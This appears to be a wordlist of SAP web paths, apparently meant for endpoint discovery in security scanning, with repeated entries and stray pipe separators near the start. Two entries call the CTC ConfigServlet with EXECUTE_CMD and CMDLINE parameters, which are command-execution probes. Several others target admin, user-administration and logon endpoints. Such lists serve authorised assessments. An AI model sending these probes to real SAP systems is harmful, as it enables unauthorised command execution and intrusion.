/sap/bc/bsp/sap/crm_bsp_frame
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/crmcmp_bpident/
|
||||
/sap/bc/bsp/sap/crmcmp_brfcase
|
||||
/sap/bc/bsp/sap/crmcmp_hdr
|
||||
/sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
/sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
/sap/bc/bsp/sap/esh_sap_link
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/graph_bsp_test
|
||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
/sap/bc/bsp/sap/gsbirp
|
||||
/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
/sap/bc/bsp/sap/iccmp_header
|
||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00/default.htm
|
||||
/sap/bc/bsp/sap/it00/http_client.htm
|
||||
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/graphics
|
||||
/sap/bc/bsp/sap/sam_demo
|
||||
/sap/bc/bsp/sap/sam_notifying
|
||||
/sap/bc/bsp/sap/sam_sess_queue
|
||||
/sap/bc/bsp/sap/sbspext_htmlb
|
||||
/sap/bc/bsp/sap/sbspext_htmlb
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/spi_admin
|
||||
/sap/bc/bsp/sap/spi_monitor
|
||||
/sap/bc/bsp/sap/sxms_alertrules
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/thtmlb_scripts
|
||||
/sap/bc/bsp/sap/thtmlb_styles
|
||||
/sap/bc/bsp/sap/uicmp_ltx
|
||||
/sap/bc/bsp/sap/xmb_bsp_log
|
||||
/sap/bc/contentserver
|
||||
/sap/bc/echo
|
||||
/sap/bc/erecruiting/applwzd
|
||||
/sap/bc/erecruiting/confirmation_e
|
||||
/sap/bc/erecruiting/confirmation_i
|
||||
/sap/bc/erecruiting/dataoverview
|
||||
/sap/bc/erecruiting/password
|
||||
/sap/bc/erecruiting/posting_apply
|
||||
/sap/bc/erecruiting/qa_email_e
|
||||
/sap/bc/erecruiting/qa_email_i
|
||||
/sap/bc/erecruiting/registration
|
||||
/sap/bc/erecruiting/startpage
|
||||
/sap/bc/erecruiting/verification
|
||||
/sap/bc/error
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/graphics/net
|
||||
/sap/bc/gui/sap/its/CERTREQ
|
||||
/sap/bc/gui/sap/its/designs
|
||||
/sap/bc/gui/sap/its/webgui
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/Mime
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/ping
|
||||
/sap/bc/report
|
||||
/sap/bc/soap/ici
|
||||
/sap/bc/soap/rfc
|
||||
/sap/bc/srt/IDoc
|
||||
/sap/bc/wdvd
|
||||
/sap/bc/webdynpro/sap/apb_launchpad
|
||||
/sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
/sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
/sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
/sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
/sap/bc/webdynpro/sap/appl_soap_management
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
/sap/bc/webdynpro/sap/cnp_light_test
|
||||
/sap/bc/webdynpro/sap/configure_application
|
||||
/sap/bc/webdynpro/sap/configure_component
|
||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_appls
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_applwizard
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_dataoverview
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_draft_applications
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_posting_apply
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_psett_ext
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_psett_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_qa_mss
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_req_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
/sap/bc/webdynpro/sap/wdhc_application
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webrfc
|
||||
/sap/bc/xrfc
|
||||
/sap/bc/xrfc_test
|
||||
/sap/crm
|
||||
/sap/es/cockpit
|
||||
/sap/es/getdocument
|
||||
/sap/es/opensearch
|
||||
/sap/es/opensearch/description
|
||||
/sap/es/opensearch/list
|
||||
/sap/es/opensearch/search
|
||||
/sap/es/redirect
|
||||
/sap/es/saplink
|
||||
/sap/es/search
|
||||
/sap/IStest
|
||||
/sap/monitoring/
|
||||
/sap/public/bc
|
||||
/sap/public/bc
|
||||
/sap/public/bc/icons
|
||||
/sap/public/bc/icons_rtl
|
||||
/sap/public/bc/its
|
||||
/sap/public/bc/its/designs
|
||||
/sap/public/bc/its/mimes
|
||||
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
/sap/public/bc/its/mobile/itsmobile00
|
||||
/sap/public/bc/its/mobile/itsmobile01
|
||||
/sap/public/bc/its/mobile/rfid
|
||||
/sap/public/bc/its/mobile/start
|
||||
/sap/public/bc/its/mobile/test
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/pictograms
|
||||
/sap/public/bc/sicf_login_run
|
||||
/sap/public/bc/trex
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/wdtracetool
|
||||
/sap/public/bc/webdynpro
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/ssr
|
||||
/sap/public/bc/webdynpro/viewdesigner
|
||||
/sap/public/bc/webicons
|
||||
/sap/public/bc/workflow
|
||||
/sap/public/bc/workflow/shortcut
|
||||
/sap/public/bsp
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/faa
|
||||
/sap/public/bsp/sap/public/graphics
|
||||
/sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
/sap/public/bsp/sap/public/graphics/mimes
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/icf_check
|
||||
/sap/public/icf_info
|
||||
/sap/public/icf_info/icr_groups
|
||||
/sap/public/icf_info/icr_urlprefix
|
||||
/sap/public/icf_info/logon_groups
|
||||
/sap/public/icf_info/urlprefix
|
||||
/sap/public/icman
|
||||
/sap/public/icman/ping
|
||||
/sap/public/info
|
||||
/sap/public/myssocntl
|
||||
/sap/public/ping
|
||||
/sap/wdisp/admin
|
||||
/sap/wdvd
|
||||
/sap/webcuif
|
||||
/sap/webdynpro/sap/hap_main_document
|
||||
/sap/webdynpro/sap/hap_start_page_powl_ui_ess
|
||||
/sap/webdynpro/sap/hap_store_page_powl_ui_mss
|
||||
/sap/webdynpro/sap/hrtmc_employee_profile
|
||||
/sap/webdynpro/sap/hrtmc_rm_maintenance
|
||||
/sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
/sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
/sap/webdynpro/sap/wd_analyze_config_user
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/sapmc/sapmc.html
|
||||
/scripts/wgate
|
||||
/servlet/com.sap.admin.Critical.Actio
|
||||
/sim/
|
||||
/sim/config/testdata.jsp
|
||||
/sim/config/testerror.jsp
|
||||
/sim/index.html
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/socoview
|
||||
/socoview/flddisplay.asp
|
||||
/SQLtrace/index.html
|
||||
/sysconfig
|
||||
/tc.lm.webadmin.endtoend.public.app
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/teched/test
|
||||
/TestJDBC_Web
|
||||
/TOdbo
|
||||
/top.html
|
||||
/TSapq
|
||||
/TXmla
|
||||
/uddi/
|
||||
/uddiclient
|
||||
/uddiclient/jsps/index.jsp
|
||||
/uddiclient/process/
|
||||
/useradmin
|
||||
/userhome
|
||||
/utl/UsageTypesInfo
|
||||
/VC
|
||||
/vscantest/
|
||||
/webdynpro/dispatcher
|
||||
/webdynpro/dispatcher/
|
||||
/webdynpro/dispatcher/sap.com/grc~accvwdcomp
|
||||
/webdynpro/dispatcher/sap.com/grc~aewebquery
|
||||
/webdynpro/dispatcher/sap.com/grc~ccappcomp
|
||||
/webdynpro/dispatcher/sap.com/grc~ccxsysbe
|
||||
/webdynpro/dispatcher/sap.com/grc~ccxsysbehr
|
||||
/webdynpro/dispatcher/sap.com/grc~ffappcomp
|
||||
/webdynpro/dispatcher/sap.com/pb/pagebuilder
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory
|
||||
/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
/webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
/webdynpro/resources/sap.com/
|
||||
/webdynpro/welcome/Welcome.jsp
|
||||
/WSConnector/Config?wsdl
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/wsd2wsdl
|
||||
/wsnavigator
|
||||
/wsnavigator/jsps/index.jsp
|
||||
/wsnavigator/jsps/redirect.jsp
|
||||
/wsnavigator/jsps/sendrequest.jsp
|
||||
/wsnavigator/jsps/test.jsp
|
||||
/wssproc/cert
|
||||
/wssproc/plain
|
||||
/wssproc/ssl
|
||||
/AdapterFramework/version/version.jsp
|
||||
/AdminTools/
|
||||
/Adobe
|
||||
/AdobeDocumentServices/Config
|
||||
/AdobeDocumentServices/Config?wsdl
|
||||
/AdobeDocumentServices/Grmg
|
||||
/AdobeDocumentServicesSec/Config
|
||||
/ADS-EJB
|
||||
/ADS-License
|
||||
/AE/index.jsp
|
||||
/AnalyticalReporting/
|
||||
/AnalyticalReporting/AnalyticalReporting_merge_web.xml
|
||||
/AnalyticalReporting/download/win32/websetup.properties
|
||||
/apidocs/
|
||||
/apidocs/allclasses-frame.html
|
||||
/apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
/apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
/apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
/ApplicationAdminProvider
|
||||
/bcb/
|
||||
/bcb/bcbadmHome.jsp
|
||||
/bcb/bcbadmNavigation.jsp
|
||||
/bcb/bcbadmSettings.jsp
|
||||
/bcb/bcbadmStart.jsp
|
||||
/bcb/bcbadmSystemInfo.jsp
|
||||
/bcbtest/start.jsp
|
||||
/BI_UDC
|
||||
/BizcCommLayerAuthoring/Config1
|
||||
/BizcCommLayerAuthoring/Config1?wsdl
|
||||
/BizcCommLayerAuthoring/Config?wsdl
|
||||
/bwtest
|
||||
/caf
|
||||
/CAFDataService/Config
|
||||
/CAFDataService/Config?wsdl
|
||||
/ccsui
|
||||
/CmcApp/logon.faces
|
||||
/CMSRTS/Config1
|
||||
/CMSRTS/Config1?wsdl
|
||||
/CMSRTS/Config?wsdl
|
||||
/com~tc~lm~webadmin~httpprovider~web
|
||||
/CrystalReports/viewrpt.cwr
|
||||
/ctc
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ifconfig
|
||||
/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
/DataArchivingService
|
||||
/dispatcher
|
||||
/@download@
|
||||
/dswsbobje
|
||||
/dswsbobje/services/BICatalog?wsdl
|
||||
/dswsbobje/services/listServices
|
||||
/examples/
|
||||
/examples_frame.html
|
||||
/examples.html
|
||||
/exchangeProfile/
|
||||
/GRMGHeartBeat
|
||||
/GRMGWSTest/service
|
||||
/GRMGWSTest/service?wsdl
|
||||
/guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
/htmlb/
|
||||
/htmlb/docs/api/index.html
|
||||
/htmlb/index.html
|
||||
/htmlb/jsp/index.jsp
|
||||
/htmlb/moresamples.html
|
||||
/htmlb/samples.html
|
||||
/IciActionItemService/IciActionItemConf
|
||||
/IciActionItemService/IciActionItemConf?wsdl
|
||||
/IciChatLineService/IciChatLineConf
|
||||
/IciChatLineService/IciChatLineConf?wsdl
|
||||
/IciChatService/IciChatConf?wsdl
|
||||
/IciEventService/
|
||||
/IciEventService/IciEventConf
|
||||
/IciEventService/IciEventConf?wsdl
|
||||
/IciEventService/sap
|
||||
/IciFolderService/IciFolderConf
|
||||
/IciFolderService/IciFolderConf?wsdl
|
||||
/IciItemService/IciItemConf
|
||||
/IciItemService/IciItemConf?wsdl
|
||||
/IciMessageService/IciMessageConf
|
||||
/IciMessageService/IciMessageConf?wsdl
|
||||
/IciMonitorService/IciMonitorConf
|
||||
/IciMonitorService/IciMonitorConf?wsdl
|
||||
/IciPhoneCallService/IciPhoneCallConf
|
||||
/IciPhoneCallService/IciPhoneCallConf?wsdl
|
||||
/IciSystemService/IciSystemConf
|
||||
/IciSystemService/IciSystemConf?wsdl
|
||||
/IciUserService/IciUserConf
|
||||
/IciUserService/IciUserConf?wsdl
|
||||
/IGSCustomizingXML
|
||||
/index.html
|
||||
/InfoViewApp/
|
||||
/InfoViewApp/help/en/user/html/
|
||||
/InfoViewApp/listing/main.do?appKind=InfoView&service=%2FInfoViewApp%2Fcommon%2FappService.do
|
||||
/inspection.wsil
|
||||
/ipcpricing/ui/
|
||||
/irj
|
||||
/irj/go/km/docs
|
||||
/irj/portal
|
||||
/irj/portalapps
|
||||
/irj/portalapps/com.petsmart.portal.navigation.masthead.idle_logout
|
||||
/irj/portalapps/com.sap.portal.design.portaldesigndata
|
||||
/irj/portalapps/com.sap.portal.design.urdesigndata
|
||||
/irj/portalapps/com.sap.portal.epcf.loader
|
||||
/irj/portalapps/com.sap.portal.navigation.detailedtree
|
||||
/irj/sdn/soa-discovery
|
||||
/irj/servlet
|
||||
/irj/servlet/prt
|
||||
/irj/servlet/prt/portal
|
||||
/irj/servlet/prt/portal/prtroot
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.terminator
|
||||
/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
/irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
/irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
/KW
|
||||
/Lighthammer
|
||||
/logon
|
||||
/logon/index.jsp
|
||||
/logon/logonServlet
|
||||
/logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet
|
||||
/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp
|
||||
/main.html
|
||||
/meSync/HttpGRMGTest.html
|
||||
/mmr/
|
||||
/mmr/mmr/MMRUI.html
|
||||
/Modeler
|
||||
/modeller/
|
||||
/modeller/index.html
|
||||
/monitoring
|
||||
/monitoring/SystemInfo
|
||||
/nwa
|
||||
/OpenSQLMonitors/
|
||||
/PerformacetraceTraceApplication
|
||||
/performanceProvierRoot
|
||||
/pmi
|
||||
/portal
|
||||
/portalapps
|
||||
/RE/index.jsp
|
||||
/rep/build_info.html
|
||||
/rep/build_info.jsp
|
||||
/rep/start/index.jsp
|
||||
/run/build_info.html
|
||||
/run/build_info.jsp
|
||||
/rwb/version.html
|
||||
/saml
|
||||
/samlssodemo_dest
|
||||
/samlssodemo_source
|
||||
/sap/
|
||||
/sap/admin
|
||||
/sap/admin/public/index.html
|
||||
/sap/ap
|
||||
/sap/bc/abap/demo
|
||||
/sap/bc/abap/demo_apc
|
||||
/sap/bc/abap/demo_apc_pcp
|
||||
/sap/bc/abap/demo_mime
|
||||
/sap/bc/abap/demo_post
|
||||
/sap/bc/abap/docu
|
||||
/sap/bc/abap/toolsdocu
|
||||
/sap/bc/adt
|
||||
/sap/bc/apc/sap/apc_tcp_test_stateful
|
||||
/sap/bc/apc/sap/apc_tcp_test_stateless
|
||||
/sap/bc/apc_test/abap_online_com
|
||||
/sap/bc/apc_test/file
|
||||
/sap/bc/apc_test/ping
|
||||
/sap/bc/apc_test/ping_ping
|
||||
/sap/bc/apc_test/ping_pong/game
|
||||
/sap/bc/apc_test/ping_pong/player
|
||||
/sap/bc/apc_test/sapui5_test
|
||||
/sap/bc/apc_test/sohbat
|
||||
/sap/bc/apc_test/system_info
|
||||
/sap/bc/batch/event_raise
|
||||
/sap/bc/bcs/sms
|
||||
/sap/bc/bsp/
|
||||
/sap/bc/bsp/esh_os_service/favicon.gif
|
||||
/sap/bc/bsp/ipro/editor
|
||||
/sap/bc/bsp/sap
|
||||
/sap/bc/bsp/sap/alertinbox
|
||||
/sap/bc/bsp/sap/bsp_dlc_frcmp
|
||||
/sap/bc/bsp/sap/bsp_veri
|
||||
/sap/bc/bsp/sap/bsp_verificatio
|
||||
/sap/bc/bsp/sap/bsp_wd_base
|
||||
/sap/bc/bsp/sap/bspwd_basics
|
||||
/sap/bc/bsp/sap/certmap
|
||||
/sap/bc/bsp/sap/certreq
|
||||
/sap/bc/bsp/sap/crm_bsp_frame
|
||||
/sap/bc/bsp/sap/crmcmp_bpident/
|
||||
/sap/bc/bsp/sap/crmcmp_brfcase
|
||||
/sap/bc/bsp/sap/crmcmp_hdr
|
||||
/sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
/sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
/sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
/sap/bc/bsp/sap/crm_thtmlb_util
|
||||
/sap/bc/bsp/sap/crm_ui_frame
|
||||
/sap/bc/bsp/sap/crm_ui_start
|
||||
/sap/bc/bsp/sap/esh_sapgui_exe
|
||||
/sap/bc/bsp/sap/esh_sap_link
|
||||
/sap/bc/bsp/sap/graph_bsp_test
|
||||
/sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
/sap/bc/bsp/sap/gsbirp
|
||||
/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||
/sap/bc/bsp/sap/htmlb_samples
|
||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
/sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
/sap/bc/bsp/sap/iccmp_header
|
||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
/sap/bc/bsp/sap/ic_frw_notify
|
||||
/sap/bc/bsp/sap/it00
|
||||
/sap/bc/bsp/sap/it00/default.htm
|
||||
/sap/bc/bsp/sap/it00/http_client.htm
|
||||
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||
/sap/bc/bsp/sap/public/bc
|
||||
/sap/bc/bsp/sap/public/FAA
|
||||
/sap/bc/bsp/sap/public/graphics
|
||||
/sap/bc/bsp/sap/public/sem
|
||||
/sap/bc/bsp/sap/sam_demo
|
||||
/sap/bc/bsp/sap/sam_notifying
|
||||
/sap/bc/bsp/sap/sam_sess_queue
|
||||
/sap/bc/bsp/sap/sbspext_htmlb
|
||||
/sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
/sap/bc/bsp/sap/spi_admin
|
||||
/sap/bc/bsp/sap/spi_monitor
|
||||
/sap/bc/bsp/sapsrm
|
||||
/sap/bc/bsp/sapsrm/bsp_dhtml_apple
|
||||
/sap/bc/bsp/sapsrm/bsp_java_applet
|
||||
/sap/bc/bsp/sapsrm/call_sig_ctrl
|
||||
/sap/bc/bsp/sapsrm/ctlg_wrapper
|
||||
/sap/bc/bsp/sap/sxms_alertrules
|
||||
/sap/bc/bsp/sap/system
|
||||
/sap/bc/bsp/sap/thtmlb_scripts
|
||||
/sap/bc/bsp/sap/thtmlb_styles
|
||||
/sap/bc/bsp/sap/uicmp_ltx
|
||||
/sap/bc/bsp/sap/xmb_bsp_log
|
||||
/sap/bc/contentserver
|
||||
/sap/bc/docu
|
||||
/sap/bc/echo
|
||||
/sap/bc/echo
|
||||
/sap/bc/erecruiting/applwzd
|
||||
/sap/bc/erecruiting/confirmation_e
|
||||
/sap/bc/erecruiting/confirmation_i
|
||||
/sap/bc/erecruiting/dataoverview
|
||||
/sap/bc/erecruiting/password
|
||||
/sap/bc/erecruiting/posting_apply
|
||||
/sap/bc/erecruiting/qa_email_e
|
||||
/sap/bc/erecruiting/qa_email_i
|
||||
/sap/bc/erecruiting/registration
|
||||
/sap/bc/erecruiting/startpage
|
||||
/sap/bc/erecruiting/verification
|
||||
/sap/bc/error
|
||||
/sap/bc/error
|
||||
/sap/bc/FormToRfc
|
||||
/sap/bc/FormToRfc/soap
|
||||
/sap/bc/graphics/net
|
||||
/sap/bc/gui/sap/its/CERTREQ
|
||||
/sap/bc/gui/sap/its/designs
|
||||
/sap/bc/gui/sap/its/webgui
|
||||
/sap/bc/IDoc_XML
|
||||
/sap/bc/MIDSD
|
||||
/sap/bc/Mi_host_http
|
||||
/sap/bc/Mime
|
||||
/sap/bc/MJC
|
||||
/sap/bc/MJC/
|
||||
/sap/bc/MJC/mi_host
|
||||
/sap/bc/MJC/mi_mds
|
||||
/sap/bc/MJC/mi_service
|
||||
/sap/bc/MJC/mi_services
|
||||
/sap/bc/MY_NEW_SERV99
|
||||
/sap/bc/ping
|
||||
/sap/bc/report
|
||||
/sap/bc/soap/ici
|
||||
/sap/bc/soap/rfc
|
||||
/sap/bc/srt/IDoc
|
||||
/sap/bc/ui5_ui5/ui2/ushell/shells/abap/Fiorilaunchpad.html?
|
||||
/sap/bc/ui5_ui5/ui2/ushell/shells/abap/Fiorilaunchpad.html?saml2=disabled
|
||||
/sap/bc/wdvd
|
||||
/sap/bc/wdvd/
|
||||
/sap/bc/webdynpro
|
||||
/sap/bc/webdynpro/sap/apb_launchpad
|
||||
/sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
/sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
/sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
/sap/bc/webdynpro/sap/application_exit
|
||||
/sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
/sap/bc/webdynpro/sap/appl_soap_management
|
||||
/sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
/sap/bc/webdynpro/sap/cnp_light_test
|
||||
/sap/bc/webdynpro/sap/configure_application
|
||||
/sap/bc/webdynpro/sap/configure_component
|
||||
/sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_appls
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_applwizard
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_dataoverview
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_draft_applications
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_posting_apply
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_psett_ext
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_psett_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_qa_mss
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_req_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
